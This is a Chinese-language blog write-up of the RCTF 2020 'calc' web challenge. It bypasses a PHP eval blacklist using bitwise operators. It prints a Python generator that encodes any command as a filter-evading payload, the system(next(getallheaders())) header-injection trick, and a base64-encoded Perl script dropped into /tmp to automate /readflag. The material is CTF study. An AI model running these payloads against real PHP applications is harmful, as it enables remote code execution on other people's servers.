V3D4's Blog

安全技术记录/分享/交流

0%

2020-RCTF-Web-calc

这道题看了wp后也还是一脸懵逼的状态,但大致过程是了解了,知道了如何利用这个点去进行rce,至于里面的perl的exp,还有异或生成shell的python脚本,还得好好研究下,我太菜了!

这次主要参考了Y1ng师傅的wp和w4nder师傅的wp,把链接直接贴在下面吧,有些东西师傅们的博客里写的很清楚了,我也不再赘述

Y1ng师傅的wp

w4nder师傅的wp

首先进题目是个计算页面,直接查看一下源码,发现有calc.php,访问后得到calc.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ','];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/im', $str)) {
die("what are you want to do?");
}
}
@eval('echo '.$str.';');
}
?>

可以看到是过滤了a-z,[\x7f-\xff]以及一些符号,但是没有过滤位运算符|和&所以根据这一点,就知道了这题的是通过php中位运算来进行rce达到命令执行的目的

关于如何取得字符

这里主要用的是php的一些特性,可以获得几个字符

这里就直接引用Y1ng师傅的解释,讲的非常明白

获得数字字符

我们可以得到任意数字,(1)仍是int,但是如果((1).(2)) (注意需要套一个括号否则出错)就会得到字符串“12”

img

之后再通过字符串截取即可得到单字符,PHP中可以使用大括号来完成,也是按照惯例,第一个字符编号是0,第二个是1,以此类推

img

获得部分字符

通过NAN INF以及科学计数法可以获得INAFE这5个字母,这样得到:

img

但是得到的是float类型,同样使用大括号截取并不能得到对应的单字符,反而会报错并返回NULL

img

那我们还可以通过刚刚的方法,让两个数字做点运算然后加上括号包裹,再用{}截取,即可:

img

php中的位运算

php 位运算符 & (按为与)
将&两边的数值二进制化进行比较 两边分别8位数相互对应 都为1则为1否则为0
列: 1 & 2
1的二进制为 00000001
2的二进制为 00000010
00000000 16进制转回来是0
所以 1 & 2 打印就是 0;

例: 15 & 8
15的二进制为 00001111
8的二进制为 00001000
00001000 16进制转回来是 8
所以 15 & 8 打印就是 8;

php 位运算符 | (按位或)
将|两边的数值二进制化进行比较 两边分别8位数相互对应 有1就为1否则为0
列: 1 | 8
1的二进制为 00000001
8的二进制为 00001000
00001001 16进制转回来是9
所以 1 | 8 打印就是 9;

使用位运算获得更多字符

经过上面的运算,我们仅仅只获得了几个字符,那么如何获取更多字符呢?相信大家也都想到了,那就是套娃,用获得的字符进行位运算|和&,然后再用位运算得到的字符再进行位运算,一直套娃,就可以获得几乎全部字符(不能说全部,根据大师傅说的还是有几个获取不了的),也就达到了rce的目的。这里也是贴一个cjm00n师傅的脚本,可以直接把命令转化为位运算后的结果,以后遇到类似的也可以直接用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

table = list(b'0123456789.-EINF')
dict={}
l=len(table)
temp=0
while temp!=l:
for j in range(temp,l):
if ~table[j] & 0xff not in table:
table.append(~table[j] & 0xff)
dict[~table[j] & 0xff] = {'op':'~','c':table[j]}
for i in range(l):
for j in range(max(i+1,temp),l):
t = table[i] & table[j]
if t not in table:
table.append(t)
dict[t] = {'op':'&','c1':table[i],'c2':table[j]}
t = table[i] | table[j]
if t not in table:
table.append(t)
dict[t] = {'op': '|', 'c1': table[i], 'c2': table[j]}
temp=l
l=len(table)

table.sort()
def howmake(ch:int) -> str:
if ch in b'0123456789':
return '(((1).(' + chr(ch) + ')){1})'
elif ch in b'.':
return '(((1).(0.1)){2})'
elif ch in b'-':
return '(((1).(-1)){1})'
elif ch in b'E':
return '(((1).(0.00001)){4})'
elif ch in b'I':
return '(((999**999).(1)){0})'
elif ch in b'N':
return '(((999**999).(1)){1})'
elif ch in b'F':
return '(((999**999).(1)){2})'

d = dict.get(ch)
if d:
op = d.get('op')
if op == '~':
c = '~'+howmake(d.get('c'))
elif op =='&':
c = howmake(d.get('c1')) + '&' + howmake(d.get('c2'))
elif op == '|':
c = howmake(d.get('c1')) + '|' + howmake(d.get('c2'))
return f'({c})'
else:
print('error')
return

if __name__ == '__main__':
while 1:
payload = input('>')
result = []
for i in payload:
result.append(howmake(ord(i)))
result='.'.join(result)
print(f'({result})')

构造system(next(getallheaders()))执行命令

最后的命令执行我在ctfhub上打过去复现失败了,直接给命令显示出来了,不知道为啥,可能题目有改过吧,我太菜了,这里就直接用Y1ng师傅和w4nder师傅的结果吧

img

正常来讲,使用上面脚本将system(‘ls /‘)变为位运算的结果后打过去应该可以看到根目录下有一个/readflag文件

使用上面的脚本,再次构造system(‘/readflag’)的位运算形式,(打过去的时候记得要url编码一次,不然无法识别)会发现得到了一个需要计算结果才能得到flag的页面

img

再次引用Y1ng师傅的解释

这个之前在2019 *CTF包括前几天的De1CTF等都有出现,这东西实际上是运行在系统上,有几种解决办法,比如trap等等,但是前提是先获得一个交互式shell,于是我又构造了反弹shell结果没成功,去问了管理员说是靶机不能出网

还可以用php或者perl的exp一键打,但是Payload比较长,所以我们必须要构造一个webshell,弄一个可控参数,然后把我们的Payload放上去,于是很容易想到了这样的格式:

1
system(next(getallheaders()))

由于get请求有长度限制,所以我们无法将所有payload全部写在请求里,于是可以用system(next(getallheaders()))来读取请求头中的内容作为命令执行

至于payload,这里我选择的的是w4nder师傅的的perl文件的形式

可以将payload写入/tmp下然后用perl执行,编码一下防止数据丢失

echo ‘IyEvdXNyL2Jpbi9lbnYgcGVybAogICAgICAgIHVzZSB3YXJuaW5nczsKICAgICAgICB1c2Ugc3RyaWN0OwogICAgICAgIHVzZSBJUEM6Ok9wZW4yOwogICAgICAgICR8ID0gMTsKICAgICAgICBteSAkcGlkID0gb3BlbjIoXCpvdXQyLCBcKmluMiwgIi9yZWFkZmxhZyIpIG9yIGRpZTsKICAgICAgICBteSAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICAkcmVwbHkgPSA8b3V0Mj47CiAgICAgICAgcHJpbnQgU1RET1VUICRyZXBseTsKICAgICAgICBteSAkYW5zd2VyID0gZXZhbCgkcmVwbHkpOwogICAgICAgIHByaW50IFNURE9VVCAiYW5zd2VyOiAkYW5zd2VyXFxuIjsKICAgICAgICBwcmludCBpbjIgIiAkYW5zd2VyICI7CiAgICAgICAgaW4yLT5mbHVzaCgpOwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5OwogICAgICAgICRyZXBseSA9IDxvdXQyPjsKICAgICAgICBwcmludCBTVERPVVQgJHJlcGx5Ow==’|base64 -d >/tmp/a.pl

img

可以看到上面是将写入文件的过程放在了Cache—Control这个请求头中,再利用system(next(getallheaders()))来达到命令执行的目的

至于上面那串perl代码,base64解码后是这样的,perl代码我也不太懂,有空得研究下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env perl
use warnings;
use strict;
use IPC::Open2;
$| = 1;
my $pid = open2(\*out2, \*in2, "/readflag") or die;
my $reply = <out2>;
print STDOUT $reply;
$reply = <out2>;
print STDOUT $reply;
my $answer = eval($reply);
print STDOUT "answer: $answer\\n";
print in2 " $answer ";
in2->flush();
$reply = <out2>;
print STDOUT $reply;
$reply = <out2>;
print STDOUT $reply;

大概的意思就是执行/readflag,然后将他的输出放到$reply变量里,然后用eval计算返回给程序,最后再次得到的$reply就是flag,虽然没学过但我觉得大致就是这个意思emmm,收藏了能用就行

然后执行perl /tmp/a.pl即可

img

总结

匆匆忙忙赶了篇博客,大多数地方都是照搬大师傅们的博客,这个rctf/xctf的题目真的好难呀,这貌似是web里最简单的一道了,然而还是好多都没看懂,不禁感叹我太菜了呜呜呜呜/(ㄒoㄒ)/~~。自己还有好多不懂的地方,得再去仔细研究,不过也有所收获,知道了如何去构造异或型的shell,对php中的一些运算规则也有了更多理解,还收获了两个exp,总之好好记录是最重要的,加油💪